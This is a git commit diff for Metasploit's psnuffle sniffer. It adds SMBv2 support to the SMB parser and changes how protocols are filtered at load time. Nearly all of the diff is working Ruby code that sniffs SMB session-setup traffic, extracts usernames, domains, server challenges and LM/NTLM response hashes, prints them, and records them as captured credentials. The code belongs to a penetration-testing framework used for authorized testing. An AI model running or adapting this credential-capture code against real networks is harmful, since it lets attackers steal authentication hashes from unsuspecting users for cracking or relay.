Merge psnuffle ntlmv2 support from Alex Malateaux
Testing this with smbclient requires setting "client ntlmv2 auth = yes" in /etc/samba/smb.conf Squashed commit of the following: commit 7acc32f5f00914fed355a080ca237543448f80ca Author: Alexandre Maloteaux <a.maloteaux@gmail.com> Date: Thu Apr 12 01:52:49 2012 +0100 psnuffle : move protocol filtering in load function commit 9c9ae9711c760b4f072271b7e5993f9bf8366671 Author: Alexandre Maloteaux <a.maloteaux@gmail.com> Date: Thu Apr 12 01:50:48 2012 +0100 psnuffle : add hash exctratiopn from smbv2 session [Closes #327]
This commit is contained in:
parent
86500aad47
commit
452cead1e9
|
@ -5,26 +5,31 @@
|
||||||
#
|
#
|
||||||
|
|
||||||
#Memo :
|
#Memo :
|
||||||
# Authentification without extended security set
|
#FOR SMBV1
|
||||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
|
# Authentification without extended security set
|
||||||
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
|
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
|
||||||
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
|
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
|
||||||
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
|
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
|
||||||
|
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
|
||||||
|
|
||||||
# Authentification with extended security set
|
# Authentification with extended security set
|
||||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
||||||
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
||||||
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
|
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
|
||||||
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
|
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
|
||||||
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
|
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
|
||||||
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
|
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
|
||||||
|
#FOR SMBV2
|
||||||
|
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||||
|
|
||||||
class SnifferSMB < BaseProtocolParser
|
class SnifferSMB < BaseProtocolParser
|
||||||
|
|
||||||
def register_sigs
|
def register_sigs
|
||||||
self.sigs = {
|
self.sigs = {
|
||||||
:setupandx => /\xffSMB\x73/,
|
:smb1_negotiate => /\xffSMB\x72/n,
|
||||||
:negotiate => /\xffSMB\x72/,
|
:smb1_setupandx => /\xffSMB\x73/n,
|
||||||
|
#:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n,
|
||||||
|
:smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -45,7 +50,7 @@ class SnifferSMB < BaseProtocolParser
|
||||||
end
|
end
|
||||||
|
|
||||||
case matched
|
case matched
|
||||||
when :negotiate
|
when :smb1_negotiate
|
||||||
payload = pkt.payload.dup
|
payload = pkt.payload.dup
|
||||||
wordcount = payload[36,1].unpack("C")[0]
|
wordcount = payload[36,1].unpack("C")[0]
|
||||||
#negotiate response
|
#negotiate response
|
||||||
|
@ -54,128 +59,16 @@ class SnifferSMB < BaseProtocolParser
|
||||||
#the server challenge is here
|
#the server challenge is here
|
||||||
if flags2 & 0x800 == 0
|
if flags2 & 0x800 == 0
|
||||||
s[:challenge] = payload[73,8].unpack("H*")[0]
|
s[:challenge] = payload[73,8].unpack("H*")[0]
|
||||||
s[:last] = :negotiate
|
s[:last] = :smb1_negotiate
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
when :setupandx
|
when :smb1_setupandx
|
||||||
payload = pkt.payload.dup
|
s[:smb_version] = "SMBv1"
|
||||||
|
parse_sessionsetup(pkt, s)
|
||||||
ntlmpayload = payload[/NTLMSSP\x00.*/m]
|
when :smb2_setupandx
|
||||||
if ntlmpayload
|
s[:smb_version] = "SMBv2"
|
||||||
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
|
parse_sessionsetup(pkt, s)
|
||||||
case ntlmmessagetype
|
|
||||||
when 2 # challenge
|
|
||||||
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
|
|
||||||
s[:last] = :ntlm_type2
|
|
||||||
when 3 # auth
|
|
||||||
if s[:last] == :ntlm_type2
|
|
||||||
lmlength = ntlmpayload[12, 2].unpack("v")[0]
|
|
||||||
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
|
|
||||||
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
|
|
||||||
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
|
|
||||||
domainlength = ntlmpayload[28, 2].unpack("v")[0]
|
|
||||||
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
|
|
||||||
usrlength = ntlmpayload[36, 2].unpack("v")[0]
|
|
||||||
usroffset = ntlmpayload[40, 2].unpack("v")[0]
|
|
||||||
|
|
||||||
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
|
|
||||||
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
|
|
||||||
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
|
|
||||||
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
|
|
||||||
|
|
||||||
secbloblength = payload[51,2].unpack("v")[0]
|
|
||||||
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
|
||||||
s[:peer_os] = names[0] || ''
|
|
||||||
s[:peer_lm] = names[1] || ''
|
|
||||||
s[:last] = :ntlm_type3
|
|
||||||
end
|
|
||||||
end
|
|
||||||
else
|
|
||||||
wordcount = payload[36,1].unpack("C")[0]
|
|
||||||
#authentification without smb extended security (smbmount, msf server capture)
|
|
||||||
if wordcount == 13 and s[:last] == :negotiate
|
|
||||||
lmlength = payload[51,2].unpack("v")[0]
|
|
||||||
ntlmlength = payload[53,2].unpack("v")[0]
|
|
||||||
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
|
|
||||||
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
|
|
||||||
|
|
||||||
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
|
||||||
|
|
||||||
s[:user] = names[0]
|
|
||||||
s[:domain] = names[1]
|
|
||||||
s[:peer_os] = names[2]
|
|
||||||
s[:peer_lm] = names[3]
|
|
||||||
s[:last] = :smb_no_ntlm
|
|
||||||
else
|
|
||||||
#answer from server
|
|
||||||
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
|
|
||||||
#do not output anonymous/guest logging
|
|
||||||
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
|
|
||||||
#set lmhash to a default value if not provided
|
|
||||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
|
||||||
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
|
|
||||||
|
|
||||||
smb_status = payload[9,4].unpack("V")[0]
|
|
||||||
if smb_status == 0 # success
|
|
||||||
|
|
||||||
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
|
|
||||||
|
|
||||||
logmessage =
|
|
||||||
"#{ntlm_ver} Response Captured in session : #{s[:session]} \n" +
|
|
||||||
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
|
|
||||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
|
||||||
"\nLMHASH:#{s[:lmhash]} " +
|
|
||||||
"\nNTHASH:#{s[:ntlmhash]}\n"
|
|
||||||
print_status(logmessage)
|
|
||||||
|
|
||||||
src_ip = s[:host]
|
|
||||||
dst_ip = s[:session].split("-")[1].split(":")[0]
|
|
||||||
# know this is ugly , last code added :-/
|
|
||||||
smb_db_type_hash = case ntlm_ver
|
|
||||||
when "NTLMv1" then "smb_netv1_hash"
|
|
||||||
when "NTLM2_SESSION" then "smb_netv1_hash"
|
|
||||||
when "NTLMv2" then "smb_netv2_hash"
|
|
||||||
end
|
|
||||||
# DB reporting
|
|
||||||
report_auth_info(
|
|
||||||
:host => dst_ip,
|
|
||||||
:port => 445,
|
|
||||||
:sname => 'smb',
|
|
||||||
:user => s[:user],
|
|
||||||
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
|
||||||
:type => smb_db_type_hash,
|
|
||||||
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
|
|
||||||
:active => true
|
|
||||||
)
|
|
||||||
|
|
||||||
report_note(
|
|
||||||
:host => src_ip,
|
|
||||||
:type => "smb_peer_os",
|
|
||||||
:data => s[:peer_os]
|
|
||||||
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
|
|
||||||
|
|
||||||
report_note(
|
|
||||||
:host => src_ip,
|
|
||||||
:type => "smb_peer_lm",
|
|
||||||
:data => s[:peer_lm]
|
|
||||||
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
|
|
||||||
|
|
||||||
report_note(
|
|
||||||
:host => src_ip,
|
|
||||||
:type => "smb_domain",
|
|
||||||
:data => s[:domain]
|
|
||||||
) if (s[:domain] and s[:domain].strip.length > 0)
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
s[:last] = nil
|
|
||||||
sessions.delete(s[:session])
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
when nil
|
when nil
|
||||||
# No matches, no saved state
|
# No matches, no saved state
|
||||||
else
|
else
|
||||||
|
@ -197,6 +90,122 @@ class SnifferSMB < BaseProtocolParser
|
||||||
else
|
else
|
||||||
raise RuntimeError, "Unknow hash type"
|
raise RuntimeError, "Unknow hash type"
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_sessionsetup(pkt, s)
|
||||||
|
payload = pkt.payload.dup
|
||||||
|
ntlmpayload = payload[/NTLMSSP\x00.*/m]
|
||||||
|
if ntlmpayload
|
||||||
|
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
|
||||||
|
case ntlmmessagetype
|
||||||
|
when 2 # challenge
|
||||||
|
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
|
||||||
|
s[:last] = :ntlm_type2
|
||||||
|
when 3 # auth
|
||||||
|
if s[:last] == :ntlm_type2
|
||||||
|
lmlength = ntlmpayload[12, 2].unpack("v")[0]
|
||||||
|
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
|
||||||
|
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
|
||||||
|
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
|
||||||
|
domainlength = ntlmpayload[28, 2].unpack("v")[0]
|
||||||
|
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
|
||||||
|
usrlength = ntlmpayload[36, 2].unpack("v")[0]
|
||||||
|
usroffset = ntlmpayload[40, 2].unpack("v")[0]
|
||||||
|
|
||||||
|
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
|
||||||
|
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
|
||||||
|
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
|
||||||
|
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
|
||||||
|
|
||||||
|
secbloblength = payload[51,2].unpack("v")[0]
|
||||||
|
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||||
|
s[:peer_os] = names[0] || ''
|
||||||
|
s[:peer_lm] = names[1] || ''
|
||||||
|
s[:last] = :ntlm_type3
|
||||||
|
end
|
||||||
|
end
|
||||||
|
else
|
||||||
|
wordcount = payload[36,1].unpack("C")[0]
|
||||||
|
#authentification without smb extended security (smbmount, msf server capture)
|
||||||
|
if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1"
|
||||||
|
lmlength = payload[51,2].unpack("v")[0]
|
||||||
|
ntlmlength = payload[53,2].unpack("v")[0]
|
||||||
|
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
|
||||||
|
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
|
||||||
|
|
||||||
|
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||||
|
|
||||||
|
s[:user] = names[0]
|
||||||
|
s[:domain] = names[1]
|
||||||
|
s[:peer_os] = names[2]
|
||||||
|
s[:peer_lm] = names[3]
|
||||||
|
s[:last] = :smb_no_ntlm
|
||||||
|
else
|
||||||
|
#answer from server
|
||||||
|
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
|
||||||
|
#do not output anonymous/guest logging
|
||||||
|
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
|
||||||
|
#set lmhash to a default value if not provided
|
||||||
|
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||||
|
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
|
||||||
|
|
||||||
|
smb_status = payload[9,4].unpack("V")[0]
|
||||||
|
if smb_status == 0 # success
|
||||||
|
|
||||||
|
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
|
||||||
|
|
||||||
|
logmessage =
|
||||||
|
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
|
||||||
|
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
|
||||||
|
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||||
|
"\nLMHASH:#{s[:lmhash]} " +
|
||||||
|
"\nNTHASH:#{s[:ntlmhash]}\n"
|
||||||
|
print_status(logmessage)
|
||||||
|
|
||||||
|
src_ip = s[:host]
|
||||||
|
dst_ip = s[:session].split("-")[1].split(":")[0]
|
||||||
|
# know this is ugly , last code added :-/
|
||||||
|
smb_db_type_hash = case ntlm_ver
|
||||||
|
when "NTLMv1" then "smb_netv1_hash"
|
||||||
|
when "NTLM2_SESSION" then "smb_netv1_hash"
|
||||||
|
when "NTLMv2" then "smb_netv2_hash"
|
||||||
|
end
|
||||||
|
# DB reporting
|
||||||
|
report_auth_info(
|
||||||
|
:host => dst_ip,
|
||||||
|
:port => 445,
|
||||||
|
:sname => 'smb',
|
||||||
|
:user => s[:user],
|
||||||
|
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||||
|
:type => smb_db_type_hash,
|
||||||
|
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
|
||||||
|
:active => true
|
||||||
|
)
|
||||||
|
|
||||||
|
report_note(
|
||||||
|
:host => src_ip,
|
||||||
|
:type => "smb_peer_os",
|
||||||
|
:data => s[:peer_os]
|
||||||
|
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
|
||||||
|
|
||||||
|
report_note(
|
||||||
|
:host => src_ip,
|
||||||
|
:type => "smb_peer_lm",
|
||||||
|
:data => s[:peer_lm]
|
||||||
|
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
|
||||||
|
|
||||||
|
report_note(
|
||||||
|
:host => src_ip,
|
||||||
|
:type => "smb_domain",
|
||||||
|
:data => s[:domain]
|
||||||
|
) if (s[:domain] and s[:domain].strip.length > 0)
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
s[:last] = nil
|
||||||
|
sessions.delete(s[:session])
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
if (not File.directory?(base))
|
if (not File.directory?(base))
|
||||||
raise RuntimeError,"The ProtocolBase parameter is set to an invalid directory"
|
raise RuntimeError,"The ProtocolBase parameter is set to an invalid directory"
|
||||||
end
|
end
|
||||||
|
allowed = datastore['PROTOCOLS'].split(',').map{|x| x.strip.downcase}
|
||||||
@protos = {}
|
@protos = {}
|
||||||
decoders = Dir.new(base).entries.grep(/\.rb$/).sort
|
decoders = Dir.new(base).entries.grep(/\.rb$/).sort
|
||||||
decoders.each do |n|
|
decoders.each do |n|
|
||||||
|
@ -74,10 +74,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
m.module_eval(File.read(f, File.size(f)))
|
m.module_eval(File.read(f, File.size(f)))
|
||||||
m.constants.grep(/^Sniffer(.*)/) do
|
m.constants.grep(/^Sniffer(.*)/) do
|
||||||
proto = $1
|
proto = $1
|
||||||
klass = m.const_get("Sniffer#{proto}")
|
if allowed.include?(proto.downcase) or datastore['PROTOCOLS'] == 'all'
|
||||||
@protos[proto.downcase] = klass.new(framework, self)
|
klass = m.const_get("Sniffer#{proto}")
|
||||||
|
@protos[proto.downcase] = klass.new(framework, self)
|
||||||
|
|
||||||
print_status("Loaded protocol #{proto} from #{f}...")
|
print_status("Loaded protocol #{proto} from #{f}...")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
print_error("Decoder #{n} failed to load: #{e.class} #{e} #{e.backtrace}")
|
print_error("Decoder #{n} failed to load: #{e.class} #{e} #{e.backtrace}")
|
||||||
|
@ -95,14 +97,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# Remove protocols not explicitly allowed
|
|
||||||
if(datastore['PROTOCOLS'] != 'all')
|
|
||||||
allowed = datastore['PROTOCOLS'].split(',').map{|x| x.strip.downcase}
|
|
||||||
newlist = {}
|
|
||||||
@protos.each_key { |k| newlist[k] = @protos[k] if allowed.include?(k) }
|
|
||||||
@protos = newlist
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Sniffing traffic.....")
|
print_status("Sniffing traffic.....")
|
||||||
open_pcap
|
open_pcap
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue